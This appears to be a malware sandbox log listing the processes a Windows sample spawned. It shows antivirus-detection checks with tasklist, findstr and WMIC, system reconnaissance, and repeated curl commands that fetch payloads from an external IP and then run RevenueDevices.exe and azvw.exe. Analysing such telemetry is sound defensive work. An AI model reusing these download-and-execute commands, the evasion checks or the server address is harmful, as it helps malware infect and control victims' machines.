Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\hzizi" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\hzizi" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fbswm" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fbswm" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\nefne" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\nefne" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\zxjrd" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\zxjrd" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe "C:\Users\user\AppData\Local\temp\RevenueDevices.exe"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fntgj" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fntgj" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Seek Seek.cmd & Seek.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jyffr" "178.215.224.74/v10/ukyh.php?gi"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jyffr" "178.215.224.74/v10/ukyh.php?gi"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\wbqtj" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\wbqtj" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\systeminfo.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\choice.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 139918	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "SyntaxMilesImperialTriple" Credits	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Asked + ..\Leaving + ..\During + ..\Chairman + ..\Bracket + ..\Label + ..\Perhaps v	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\139918\Ur.pif Ur.pif v	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\user\AppData\Local\temp\807 2>&1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\807 > C:\Users\user\AppData\Local\temp\237	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dxjyu" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dhmio" "178.215.224.74/v10/ukyh.php?jspo=5"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fprwf" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\nhrsa" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\rrmou" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fofqx" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\zxfdn" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gvhdi" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C cd "C:\Users\user\AppData\Roaming\DolphinDumps" & azvw.exe -o xhwq.zip	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\mncym" "178.215.224.74/v10/ukyh.php?jspo=31"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C systeminfo \| findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\lyvbm" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dxmcp" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\hzizi" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\nefne" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\zxjrd" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe "C:\Users\user\AppData\Local\temp\RevenueDevices.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fntgj" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jyffr" "178.215.224.74/v10/ukyh.php?gi"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\wbqtj" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fbswm" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe azvw.exe -o xhwq.zip	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C systeminfo \| findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
